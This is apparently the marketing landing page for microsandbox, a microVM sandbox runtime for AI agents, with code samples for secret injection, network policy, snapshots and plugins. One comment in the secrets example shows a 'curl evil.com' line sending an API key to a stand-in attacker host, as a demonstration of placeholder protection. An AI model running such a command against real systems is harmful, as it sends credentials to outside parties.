Every agent deservesa computer.
Run agents in secure, local-first sandboxes. On your laptop, in your VPC, on-prem, or in our cloud. Programmable, fast, and yours.
What's inside
Engineered down to the kernel.
The runtime, the security model, and the developer ergonomics, all in one library you embed and forget.
2.5× faster than Firecracker.
libkrun microVMs, pre-patched kernel as a shared library, zero-copy mmap. Boots faster than Docker on bare-metal Linux, with full hardware isolation.
Bare-metal Linux/KVM, alpine userspace, 10-iteration median. Methodology
Secrets that can't leak
Real keys never enter the guest. microsandbox swaps in placeholders and substitutes the value on a verified TLS handshake to an allowlisted host.
No daemon, no root
Embeds as a library in your process. No socket, no PID 1, no privileged install. If your code's running, the runtime is running.
Cross-platform native
One SDK, one Sandboxfile, one CLI, on every OS that matters.
Run inside your perimeter
Self-host on a laptop, in your VPC, in regulated data centers, even fully air-gapped. No telemetry, no phone-home, your data never leaves.
Any OCI image
Pull from Docker Hub, GHCR, ECR, GCR, Quay, or your private registry. Your existing images just work.
Programmable network policy
Allowlist hosts, pin DNS resolutions to defeat rebinding, inspect TLS at the edge. The sandbox can't talk to anything you didn't approve.
Sync across machines
Spin up locally. Inspect from your laptop. Run the same sandbox on prod. State streams between every machine you trust.
What's inside, in detail
Every layer is yours to control.
Control what your agents can touch.
Allowlist hosts, block by default, inject secrets only on verified TLS to approved domains.
image: "python:3.12",
secrets: { "OPENAI_API_KEY": [key, "api.openai.com"] }
});
// Inside the sandbox:
// echo $OPENAI_API_KEY → $MSB_OPENAI_API_KEY
//
// curl api.openai.com -H "Bearer $OPENAI_API_KEY"
// → real key injected (TLS verified, host matched)
//
// curl evil.com -H "Bearer $OPENAI_API_KEY"
// → placeholder sent, real key never leaves host
Snapshot, fork, restore.
Save full VM state and fork hundreds of identical sandboxes from one baseline. Sub-millisecond restore, no re-boot.
await sb.exec("pip install numpy pandas torch");
const snap = await sb.snapshot("ml-ready");
// Fork 100 workers from the same baseline
const workers = await Promise.all(
Array.from({ length: 100 }, (_, i) =>
snap.restore(`w-${i}`, { env: { WORKER_ID: String(i) } })
)
);
Extensible filesystem backends.
Mount custom filesystem implementations. Intercept reads and writes, build virtual filesystems, proxy to remote storage.
open(ctx, ino, flags) {
log(`open ino=${ino} pid=${ctx.pid}`);
return this.inner.open(ctx, ino, flags);
}
// read, write, lookup, mkdir, unlink ...
}
const sb = await Sandbox.create("app", {
image: "python:3.12",
volumes: {
"/data": new AuditFs("./data"),
"/cache": new MemFs(),
}
});
Spawn sandboxes from sandboxes.
Code running inside a sandbox can spawn peer sandboxes alongside itself. Each gets its own network, filesystem, and secrets.
const rt = await Sandbox.currentRuntime();
// Spawn peer sandboxes (isolated, same level)
const researcher = await rt.start("researcher", {
image: "python:3.12",
secrets: { "SERP_KEY": [key, "serpapi.com"] },
});
const coder = await rt.start("coder", {
image: "node:20",
network: { denyAll: true }, // air-gapped
});
Declare a fleet. Bring it up with one command.
A Sandboxfile defines the topology, multiple agents, scoped capabilities, network policies.
volumes:
data: { size: 10G }
sandboxes:
api:
image: python:3.11
volumes: [./src:/app, data:/data]
ports: [8000:8000]
secrets: [OPENAI_API_KEY]
network:
allow: [api.openai.com]
dns: { rebind_protection: strict }
scripts:
start: python app.py
test: pytest
worker:
from_snapshot: ml-ready
memory: 2G
depends_on: [api]
Composable plugin system.
Stack an audit logger, a rate limiter, and a custom network monitor on the same sandbox. Compose in-process or out-of-process plugins.
image: "python:3.12",
plugins: [
new AuditLog("/var/log/audit"),
new RateLimiter({ maxExecPerSec: 100 }),
],
pluginProcesses: ["node ./plugins/monitor.js"],
});
// AuditLog plugin · ~10 lines
class AuditLog implements Plugin {
constructor(private path: string) {}
async onExec(c: ExecContext) {
const line = JSON.stringify({
t: Date.now(),
cmd: c.cmd,
caller: c.callerId,
}) + "\n";
await fs.appendFile(this.path, line);
}
}
Local sandboxes, resume anywhere.
Sync sandbox filesystems to the cloud. Pick up exactly where you left off from any machine. Same files, same environment.
See how sync worksimage: "python:3.12",
});
await sb.exec("pip install torch");
// Push filesystem state to the cloud
await sb.push();
// On another machine: pull and resume
const pulled = await Sandbox.pull("ml-project");
await pulled.start();
How is this different from Docker?
Docker shares one kernel across containers. microsandbox gives every sandbox its own kernel inside a microVM, so a compromise can't reach the host. Real hardware isolation, not namespace isolation.
Is my code and data private?
Yes. Local and on-prem sandboxes never leave your infrastructure. The cloud beta keeps state encrypted with keys you hold, so we never see decrypted contents.
Can I run microsandbox on-prem or air-gapped?
Yes. The runtime is a library you embed and ship anywhere you can run a Linux or macOS host: your laptop, a CI runner, a VM in your VPC, regulated data centers, or fully air-gapped servers. Nothing phones home, no telemetry. Your data never leaves your perimeter.
Which languages do you support?
Rust, TypeScript/Node, Python, and a CLI today. Go and Terraform are next.
Is microsandbox open source?
The local runtime is. Apache 2.0, fully on GitHub. The cloud platform will have its own commercial license, with details when the beta opens.
How does pricing work?
Running locally or on your own infrastructure is free, forever. Cloud pricing arrives with the closed beta. Drop your email and we'll bring you in as we open up.
Cloud and on-prem, almost here.
Drop your email and we'll invite you in as the beta opens up.
Want to talk first? Schedule a call